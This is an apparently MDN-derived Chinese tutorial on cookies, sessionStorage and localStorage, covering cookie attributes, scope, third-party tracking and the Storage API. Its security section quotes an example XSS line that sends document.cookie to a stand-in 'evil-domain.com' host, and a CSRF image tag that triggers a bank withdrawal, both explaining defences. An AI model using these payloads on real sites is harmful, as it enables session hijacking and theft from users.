1. 程式人生 > 實用技巧 >cookie、sessionStorage與localStorage是什麼?

cookie、sessionStorage與localStorage是什麼?

cookie

cookie是什麼?

HTTP Cookie(也叫 Web Cookie 或瀏覽器 Cookie)是伺服器傳送到使用者瀏覽器並儲存在客戶端的一小塊資料,它會在瀏覽器下次向同一伺服器再發起請求時被攜帶併發送到伺服器上。通常,它用於告知服務端兩個請求是否來自同一瀏覽器,如保持使用者的登入狀態。Cookie 使基於無狀態的HTTP協議記錄穩定的狀態資訊成為了可能。

Cookie 主要用於以下三個方面:

  • 會話狀態管理(如使用者登入狀態、購物車、遊戲分數或其它需要記錄的資訊)
  • 個性化設定(如使用者自定義設定、主題等)
  • 瀏覽器行為跟蹤(如跟蹤分析使用者行為等)

由於伺服器指定 Cookie 後,瀏覽器的每次請求都會攜帶 Cookie 資料,會帶來額外的效能開銷。新的瀏覽器API已經允許開發者直接將資料儲存到本地,如使用

Web storage API (本地儲存和會話儲存)或 IndexedDB

建立cookie

當伺服器收到 HTTP 請求時,伺服器可以在響應頭裡面新增一個 {{HTTPHeader("Set-Cookie")}}選項來建立。像這樣:

Set-Cookie: <cookie名>=<cookie值>

伺服器通過該頭部告知客戶端儲存 Cookie 資訊。另外,Cookie 的過期時間、域、路徑、有效期、適用站點都可以根據需要來指定。

HTTP/1.0 200 OK
Content-type: text/html
Set-Cookie: yummy_cookie=choco
Set-Cookie: tasty_cookie=strawberry
[頁面內容]

現在,對該伺服器發起的每一次新請求,瀏覽器都會將之前儲存的Cookie資訊通過{{HTTPHeader("Cookie")}}請求頭部再發送給伺服器。

GET /sample_page.html HTTP/1.1
Host: www.example.org
Cookie: yummy_cookie=choco; tasty_cookie=strawberry

cookie的宣告週期

Cookie 的生命週期可以通過兩種方式定義:

  • 會話期 Cookie :瀏覽器關閉之後它會被自動刪除。需要注意的是,有些瀏覽器提供了會話恢復功能,這種情況下即使關閉了瀏覽器,會話期Cookie 也會被保留下來。這會導致 Cookie 的生命週期無限期延長。

  • 永續性 Cookie :生命週期取決於過期時間(Expires)或有效期(Max-Age)指定的一段時間。

Set-Cookie: id=a3fWa; Expires=Wed, 21 Oct 2015 07:28:00 GMT;

如果您的站點對使用者進行身份驗證,則每當使用者進行身份驗證時,它都應重新生成並重新發送會話 Cookie,甚至是已經存在的會話 Cookie。此技術有助於防止會話固定攻擊(session fixation attacks),在該攻擊中第三方可以重用使用者的會話。

限制訪問cookie

  • secure屬性

    標記為 Secure 的 Cookie 只應通過被 HTTPS 協議加密過的請求傳送給服務端,因此可以預防 {{Glossary(“ MitM”,“ man-in-the -middle“)}} 攻擊者的攻擊。但即便設定了 Secure 標記,敏感資訊也不應該通過 Cookie 傳輸,因為 Cookie 有其固有的不安全性Secure 標記也無法提供確實的安全保障, 例如,可以訪問客戶端硬碟的人可以讀取它。

  • HttpOnly屬性

    JavaScript {{domxref(“ Document.cookie”)}} API 無法訪問帶有 HttpOnly 屬性的cookie;此類 Cookie 僅作用於伺服器。例如,持久化伺服器端會話的 Cookie 不需要對 JavaScript 可用,而應具有 HttpOnly 屬性。此預防措施有助於緩解跨站點指令碼(XSS)攻擊。

  • SameSite 屬性
    SameSite Cookie 允許伺服器要求某個 cookie 在跨站請求時不會被髮送,(其中 {{Glossary("Site")}} 由可註冊域定義),從而可以阻止跨站請求偽造攻擊({{Glossary("CSRF")}})

Set-Cookie: id=a3fWa; Expires=Wed, 21 Oct 2015 07:28:00 GMT; Secure; HttpOnly
Set-Cookie: key=value; SameSite=Strict

cookie作用域

DomainPath 標識定義了Cookie的作用域:即允許 Cookie 應該傳送給哪些URL。

  • Domain屬性

    指定了哪些主機可以接受 Cookie。如果不指定,預設為 {{Glossary("origin")}},不包含子域名。如果指定了Domain,則一般包含子域名。例如,如果設定 Domain=mozilla.org,則 Cookie 也包含在子域名中(如developer.mozilla.org)。

  • Path 屬性

    指定了主機下的哪些路徑可以接受 Cookie(該 URL 路徑必須存在於請求 URL 中)。以字元 %x2F ("/") 作為路徑分隔符,子路徑也會被匹配。

    例如,設定 Path=/docs,則這些地址都會匹配:/docs/docs/Web//docs/Web/HTTP

訪問cookie

document.cookie = "yummy_cookie=choco"; 
document.cookie = "tasty_cookie=strawberry"; 
console.log(document.cookie); 

安全

  • 使用 HttpOnly 屬性可防止通過 JavaScript 訪問 cookie 值。
  • 用於敏感資訊的 Cookie 的生存期應較短,並且 SameSite 屬性設定為StrictLax。這樣做的作用是確保不與跨域請求一起傳送身份驗證 cookie,因此,這種請求實際上不會嚮應用伺服器進行身份驗證

  • 會話劫持和 XSS

    在 Web 應用中,Cookie 常用來標記使用者或授權會話。因此,如果 Web 應用的 Cookie 被竊取,可能導致授權使用者的會話受到攻擊。常用的竊取 Cookie 的方法有利用社會工程學攻擊和利用應用程式漏洞進行 {{Glossary("XSS")}} 攻擊。HttpOnly 型別的 Cookie 用於阻止了JavaScript 對其的訪問性而能在一定程度上緩解此類攻擊

    (new Image()).src = "http://www.evil-domain.com/steal-cookie.php?cookie=" + document.cookie;
    
  • 跨站請求偽造(CSRF)

    比如在不安全聊天室或論壇上的一張圖片,它實際上是一個給你銀行伺服器傳送提現的請求。當你開啟含有了這張圖片的 HTML 頁面時,如果你之前已經登入了你的銀行帳號並且 Cookie 仍然有效(還沒有其它驗證步驟),你銀行裡的錢很可能會被自動轉走。

    <img src="http://bank.example.com/withdraw?account=bob&amount=1000000&for=mallory">
    

    你可以:對使用者輸入進行過濾來阻止 {{Glossary("XSS")}}、用於敏感資訊的 Cookie 只能擁有較短的生命週期;

第三方cookie

Cookie 與域關聯。如果此域與您所在頁面的域相同,則該 cookie 稱為第一方 cookie( first-party cookie)。如果域不同,則它是第三方 cookie(third-party cookie)

當託管網頁的伺服器設定第一方 Cookie 時,該頁面可能包含儲存在其他域中的伺服器上的影象或其他元件(例如,廣告橫幅),這些影象或其他元件可能會設定第三方 Cookie。這些主要用於在網路上進行廣告和跟蹤。例如,types of cookies used by Google

第三方伺服器可以基於同一瀏覽器在訪問多個站點時傳送給它的 cookie 來建立使用者瀏覽歷史和習慣的配置檔案。Firefox 預設情況下會阻止已知包含跟蹤器的第三方 cookie。第三方cookie也可能被其他瀏覽器設定或擴充套件程式阻止。阻止 Cookie 會導致某些第三方元件(例如社交媒體視窗小部件)無法正常執行。

web storage

兩種機制

  • sessionStorage 為每一個給定的源(given origin)維持一個獨立的儲存區域,該儲存區域在頁面會話期間可用(即只要瀏覽器處於開啟狀態,包括頁面重新載入和恢復)。
  • localStorage 同樣的功能,但在瀏覽器關閉重新開啟後資料仍然存在。

這兩種機制是通過 Window.sessionStorageWindow.localStorage 屬性使用—— 呼叫其中任一物件會建立 Storage 物件,通過 Storage 物件,可以設定、獲取和移除資料項。對於每個源(origin)sessionStoragelocalStorage 使用不同的 Storage 物件——獨立執行和控制

屬性

Storage.length ——只讀,返回一個整數,表示儲存在 Storage 物件中的資料項數量

方法

  • Storage.key()——該方法接受一個數值 n 作為引數,並返回儲存中的第 n 個鍵名。
  • Storage.getItem()——該方法接受一個鍵名作為引數,返回鍵名對應的值。
  • Storage.setItem()——該方法接受一個鍵名和值作為引數,將會把鍵值對新增到儲存中,如果鍵名存在,則更新其對應的值。
  • Storage.removeItem()——該方法接受一個鍵名作為引數,並把該鍵名從儲存中刪除。
  • Storage.clear()——呼叫該方法會清空儲存中的所有鍵名。

示例

//呼叫 localStorage 來訪問一個 Storage 物件
//使用 `!localStorage.getItem('bgcolor')` 測試本地儲存中是否包含該資料項
if(!localStorage.getItem('bgcolor')) {
  //不包含則執行該函式設定資料項,然後再執行setStyles
  populateStorage();
} else {
  //包含則執行該函式獲取資料項,並使用這些值更新頁面樣式:
  setStyles();
}

function populateStorage() {
  localStorage.setItem('bgcolor', document.getElementById('bgcolor').value);
  localStorage.setItem('font', document.getElementById('font').value);
  localStorage.setItem('image', document.getElementById('image').value);
  setStyles();
}

function setStyles() {
  var currentColor = localStorage.getItem('bgcolor');
  var currentFont = localStorage.getItem('font');
  var currentImage = localStorage.getItem('image');

  document.getElementById('bgcolor').value = currentColor;
  document.getElementById('font').value = currentFont;
  document.getElementById('image').value = currentImage;

  htmlElem.style.backgroundColor = '#' + currentColor;
  pElem.style.fontFamily = currentFont;
  imgElem.setAttribute('src', currentImage);
}